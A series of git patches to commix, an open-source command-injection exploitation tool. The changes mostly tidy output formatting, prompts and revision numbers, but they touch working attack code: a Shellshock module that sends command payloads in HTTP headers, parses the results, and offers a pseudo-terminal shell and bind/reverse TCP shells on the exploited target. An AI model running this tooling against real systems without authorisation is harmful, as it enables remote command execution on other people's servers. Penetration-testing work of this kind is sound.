sys.stdout.flush() + warn_msg += "to read the '" + file_to_read + "' file." + print(settings.print_warning_msg(warn_msg)) settings.FILE_ACCESS_DONE = True - if settings.FILE_ACCESS_DONE == True: - print(settings.SINGLE_WHITESPACE) - """ Execute the bind / reverse TCP shell """ def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - #if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." print(settings.print_critical_msg(err_msg)) @@ -566,7 +546,7 @@ def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, h """ Check commix shell options """ -def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): +def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): if os_shell_option == False: if no_result == True: @@ -582,7 +562,8 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r # The "os_shell" option elif os_shell_option == "os_shell": warn_msg = "You are into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg))+ "\n" + print(settings.print_warning_msg(warn_msg)) + return go_back, go_back_again # The "bind_tcp" option elif os_shell_option == "bind_tcp": @@ -631,7 +612,8 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write("\n" + settings.print_payload(payload)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) @@ -691,8 +673,6 @@ def shellshock_handler(url, http_request_method, filename): logs.update_payload(filename, counter, payload) if settings.VERBOSITY_LEVEL != 0: - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) checks.total_of_requests() info_msg = "The (" + check_header + ") '" @@ -705,9 +685,7 @@ def shellshock_handler(url, http_request_method, filename): print(settings.print_sub_content(sub_content)) # Enumeration options. - if settings.ENUMERATION_DONE == True : - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) + if settings.ENUMERATION_DONE == True: while True: message = "Do you want to ignore stored session and enumerate again? [Y/n] > " enumerate_again = common.read_input(message, default="Y", check_batch=True) @@ -726,7 +704,7 @@ def shellshock_handler(url, http_request_method, filename): enumeration(url, cve, check_header, filename) # File access options. - if settings.FILE_ACCESS_DONE == True : + if settings.FILE_ACCESS_DONE == True: while True: message = "Do you want to ignore stored session and access files again? [Y/n] > " file_access_again = common.read_input(message, default="Y", check_batch=True) @@ -747,111 +725,119 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - # if settings.VERBOSITY_LEVEL <= 1: - # print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - raise SystemExit() - - else: - # Pseudo-Terminal shell - print(settings.SINGLE_WHITESPACE) - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - - if cmd.lower() in settings.SHELL_OPTIONS: - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - - if go_back: + info_msg = "Executing the user-supplied command '" + cmd + "'." + if shell: + print(settings.print_info_msg(info_msg)) + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + try: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + sys.stdout.write(settings.OS_SHELL) + cmd = common.read_input(message="", default="os_shell", check_batch=True) + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + if os_shell_option is not False: + go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) + if go_back and go_back_again == False: break - else: - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL == 1: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - elif settings.VERBOSITY_LEVEL >= 2: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) + else: + logs.logs_notification(filename) + return True + else: + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell != "": + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + print(settings.SINGLE_WHITESPACE) + print(Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL) + print(settings.SINGLE_WHITESPACE) + else: + debug_msg = "Executing the '" + cmd + "' command. " + if settings.VERBOSITY_LEVEL == 1: + print(settings.print_debug_msg(debug_msg)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_payload(payload)) print(settings.SINGLE_WHITESPACE) + elif settings.VERBOSITY_LEVEL >= 2: + print(settings.print_debug_msg(debug_msg)) + print(settings.SINGLE_WHITESPACE) + sys.stdout.write(settings.print_payload(payload)) + print(settings.SINGLE_WHITESPACE) + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) - except KeyboardInterrupt: - raise + except KeyboardInterrupt: + raise - except SystemExit: - raise + except SystemExit: + raise - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except TypeError: - break - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise + + except TypeError: break + + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result == True: + return False else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + logs.logs_notification(filename) + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + continue + break - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - continue - break - else: - continue - - if no_result: - if settings.VERBOSITY_LEVEL != 2: - print(settings.SINGLE_WHITESPACE) + if no_result == True: + print(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + else: + logs.logs_notification(filename) + except _urllib.error.HTTPError as err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." - print("\n" + settings.print_critical_msg(err)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_critical_msg(err)) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True @@ -880,7 +866,6 @@ def cmd_exec(url, cmd, cve, check_header, filename): """ def check_for_shell(url, cmd, cve, check_header, filename): try: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) cmd = "echo " + TAG + "$(" + cmd + ")" + TAG payload = shellshock_exploitation(cve, cmd) @@ -889,7 +874,9 @@ def check_for_shell(url, cmd, cve, check_header, filename): sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") + print(settings.SINGLE_WHITESPACE) + print(settings.print_payload(payload)) + print(settings.SINGLE_WHITESPACE) header = {check_header : payload} request = _urllib.request.Request(url, None, header) @@ -913,7 +900,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): return shell, payload except _urllib.error.URLError as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_critical_msg(err_msg)) raise SystemExit() shell, payload = check_for_shell(url, cmd, cve, check_header, filename) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index d362a27f1f..d1acf6c6dc 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -550,6 +550,7 @@ def configure_bind_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: + print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 1106bec498..2f12bb71a9 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -767,6 +767,7 @@ def configure_reverse_tcp(separator): print(settings.print_error_msg(err_msg)) pass else: + print(settings.SINGLE_WHITESPACE) err_msg = "The '" + option + "' option, is not valid." print(settings.print_error_msg(err_msg)) pass diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt index de1f14c0da..903decf9cc 100644 --- a/src/txt/shocker-cgi_list.txt +++ b/src/txt/shocker-cgi_list.txt @@ -400,3 +400,4 @@ /wwwadmin.cgi /wwwboard.cgi /wwwboard/wwwboard.cgi +/cgi-bin/ \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 2df0c86364..482b6ebed2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "68" +REVISION = "69" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5db724260f23464543717d8ae0440b17202c024c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 24 May 2022 07:28:12 +0300 Subject: [PATCH 146/560] Trivial update --- .../blind/techniques/time_based/tb_handler.py | 5 ++++- .../semiblind/techniques/file_based/fb_handler.py | 5 ++++- .../techniques/tempfile_based/tfb_handler.py | 6 ++++-- src/core/main.py | 13 +++++-------- src/core/modules/shellshock/shellshock.py | 10 ++++------ src/core/requests/requests.py | 2 ++ src/utils/settings.py | 2 +- 7 files changed, 24 insertions(+), 19 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 33c6a5b42f..7f712877db 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -450,7 +450,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r menu.options.ignore_session = True tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: + new_line = False break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -459,6 +460,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_error_msg(err_msg)) pass else: + if not new_line: + print(settings.SINGLE_WHITESPACE) tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index ff0d252b88..cc4659d8e0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -585,7 +585,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 96cd13a702..5527993e63 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -496,7 +496,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, menu.options.ignore_session = True tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break - elif file_access_again in settings.CHOICE_NO: + elif file_access_again in settings.CHOICE_NO: + new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. @@ -507,7 +508,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, print(settings.print_error_msg(err_msg)) pass else: - print(settings.SINGLE_WHITESPACE) + if not new_line: + print(settings.SINGLE_WHITESPACE) tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. diff --git a/src/core/main.py b/src/core/main.py index b322bd6d22..5fb236ecdb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -573,7 +573,11 @@ def main(filename, url): if not sys.stdin.isatty(): settings.IS_TTY = False - + + # Check if defined "--purge" option. + if menu.options.purge: + purge.purge() + # Check for missing mandatory option(s). if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ @@ -638,13 +642,6 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - # Check if defined "--purge" option. - if menu.options.purge: - purge.purge() - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ - menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard)): - raise SystemExit() - # Check the user-defined OS. if menu.options.os: checks.user_defined_os() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 4cb7296c0a..2009419925 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -595,8 +595,7 @@ def shellshock_handler(url, http_request_method, filename): info_msg = "Testing the " + technique + ". " if settings.VERBOSITY_LEVEL >= 2: info_msg = info_msg + "\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: i = 0 @@ -612,7 +611,6 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." @@ -824,7 +822,8 @@ def shellshock_handler(url, http_request_method, filename): break if no_result == True: - print(settings.SINGLE_WHITESPACE) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -872,11 +871,10 @@ def check_for_shell(url, cmd, cve, check_header, filename): debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) print(settings.print_payload(payload)) - print(settings.SINGLE_WHITESPACE) header = {check_header : payload} request = _urllib.request.Request(url, None, header) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index dde40e07f6..438ff3f289 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1176,6 +1176,8 @@ def check_target_os(server_banner): settings.TARGET_OS = identified_os[:3].lower() if menu.options.shellshock: + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) err_msg = "The shellshock module is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 482b6ebed2..a1cbba3644 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "69" +REVISION = "70" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e4d00424901309b5845abc7aa55e31adf1a28a12 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 25 May 2022 07:31:58 +0300 Subject: [PATCH 147/560] Trivial updates --- src/core/injections/controller/checks.py | 11 +++++++--- src/core/injections/controller/controller.py | 10 ++++------ src/core/modules/shellshock/shellshock.py | 21 +++++++++++--------- src/core/requests/parameters.py | 4 +++- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 6 files changed, 29 insertions(+), 21 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index fe69c93f57..397a02bff1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -699,13 +699,15 @@ def check_CGI_scripts(url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + _ = False for cgi_script in CGI_SCRIPTS: - if cgi_script in url and menu.options.shellshock == False: - warn_msg = "URL is probable to contain a script ('" + cgi_script + "') " + if cgi_script in url: + warn_msg = "The URL is probable to contain a script ('" + cgi_script + "') " warn_msg += "vulnerable to shellshock. " + _ = True print(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to enable the shellshock injection module? [Y/n] > " + message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True @@ -720,6 +722,9 @@ def check_CGI_scripts(url): err_msg = "'" + shellshock_check + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass + + if not _: + menu.options.shellshock = False """ Check if http / https. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b9a385812c..2638b15611 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -310,7 +310,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) - # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) @@ -442,7 +441,7 @@ def http_headers_injection(url, http_request_method, filename, timesec): def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent if not menu.options.shellshock: - menu.options.agent = menu.options.agent + settings.INJECT_TAG + menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: check_parameter = header_name = " User-Agent" @@ -469,10 +468,9 @@ def referer_injection(url, http_request_method, filename, timesec): def host_injection(url, http_request_method, filename, timesec): host = menu.options.host - if not menu.options.shellshock: - if menu.options.host is None: - menu.options.host = "" - menu.options.host = menu.options.host + settings.INJECT_TAG + if menu.options.host is None: + menu.options.host = "" + menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: check_parameter = header_name = " Host" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 2009419925..e684774cbc 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -29,6 +29,14 @@ [2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 """ +if settings.MULTI_TARGETS or not settings.IS_TTY: + if settings.COOKIE_INJECTION == True: + settings.COOKIE_INJECTION = None + if settings.USER_AGENT_INJECTION == True: + settings.USER_AGENT_INJECTION = None + if settings.REFERER_INJECTION == True: + settings.REFERER_INJECTION = None + # Available HTTP headers headers = [ "User-Agent", @@ -592,11 +600,6 @@ def shellshock_handler(url, http_request_method, filename): injection_type = "results-based command injection" technique = "shellshock injection technique" - info_msg = "Testing the " + technique + ". " - if settings.VERBOSITY_LEVEL >= 2: - info_msg = info_msg + "\n" - print(settings.print_info_msg(info_msg)) - try: i = 0 total = len(shellshock_cves) * len(headers) @@ -621,8 +624,6 @@ def shellshock_handler(url, http_request_method, filename): request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload - else: - menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. @@ -633,6 +634,8 @@ def shellshock_handler(url, http_request_method, filename): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == "User-Agent": + menu.options.agent = default_user_agent percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) @@ -880,8 +883,6 @@ def check_for_shell(url, cmd, cve, check_header, filename): request = _urllib.request.Request(url, None, header) if check_header == "User-Agent": menu.options.agent = payload - else: - menu.options.agent = default_user_agent log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. @@ -892,6 +893,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == "User-Agent": + menu.options.agent = default_user_agent shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) shell = ''.join(shell) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 8a00bcec0d..eb5794af6b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -388,7 +388,9 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): - if settings.USER_AGENT_INJECTION == True: + if settings.COOKIE_INJECTION == True: + specify_cookie_parameter(menu.options.cookie) + elif settings.USER_AGENT_INJECTION == True: specify_user_agent_parameter(menu.options.agent) elif settings.REFERER_INJECTION == True: specify_referer_parameter(menu.options.referer) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 438ff3f289..06cf9ab0d3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1178,7 +1178,7 @@ def check_target_os(server_banner): if menu.options.shellshock: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The shellshock module is not available for " + err_msg = "The shellshock module ('--shellshock') is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index a1cbba3644..4e3b11a6c3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "70" +REVISION = "71" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 1afbfb9f292b208e9e7b92127134314c38b58ba1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 26 May 2022 07:39:38 +0300 Subject: [PATCH 148/560] Minor updates --- src/core/injections/controller/checks.py | 6 ++---- src/core/requests/parameters.py | 16 ++++++++++++---- src/utils/settings.py | 3 ++- 3 files changed, 16 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 397a02bff1..6b190c4fc0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -904,11 +904,9 @@ def wildcard_character(data): _ = "" for data in data.split("\\n"): # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and \ - not settings.WILDCARD_CHAR is None and \ - not settings.INJECT_TAG in data and \ - settings.WILDCARD_CHAR in data : + if not data.startswith(settings.ACCEPT) and not settings.WILDCARD_CHAR is None and not settings.INJECT_TAG in data and settings.WILDCARD_CHAR in data : data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) + settings.WILDCARD_CHAR_APPLIED = True _ = _ + data + "\\n" data = _.rstrip("\\n") if data.count(settings.INJECT_TAG) > 1: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index eb5794af6b..584449586f 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -135,6 +135,7 @@ def do_GET_check(url, http_request_method): else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL @@ -317,7 +318,7 @@ def do_POST_check(parameter, http_request_method): else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) parameter = parameter.replace(settings.RANDOM_TAG,"") @@ -398,10 +399,14 @@ def prefixes(payload, prefix): specify_host_parameter(menu.options.host) # Check if defined "--prefix" option. + testable_value = settings.TESTABLE_VALUE + if settings.WILDCARD_CHAR_APPLIED: + testable_value = "" if menu.options.prefix: - payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload + payload = testable_value + menu.options.prefix + prefix + payload else: - payload = settings.TESTABLE_VALUE + prefix + payload + payload = testable_value + prefix + payload + return payload """ @@ -415,12 +420,15 @@ def suffixes(payload, suffix): payload = payload + suffix + menu.options.suffix else: payload = payload + suffix + return payload """ The cookie based injection. """ def do_cookie_check(cookie): + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. + cookie = checks.wildcard_character(cookie) multi_parameters = cookie.split(settings.COOKIE_DELIMITER) # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): @@ -480,6 +488,7 @@ def do_cookie_check(cookie): else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) if type(cookie) != list: @@ -500,7 +509,6 @@ def do_cookie_check(cookie): """ def specify_cookie_parameter(cookie): - cookie = checks.wildcard_character(cookie) # Specify the vulnerable cookie parameter if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): diff --git a/src/utils/settings.py b/src/utils/settings.py index 4e3b11a6c3..53478261f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "71" +REVISION = "72" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -318,6 +318,7 @@ def sys_argv_errors(): # The wildcard character WILDCARD_CHAR = "*" +WILDCARD_CHAR_APPLIED = False # Testable parameter(s) - comma separated. TEST_PARAMETER = "" From 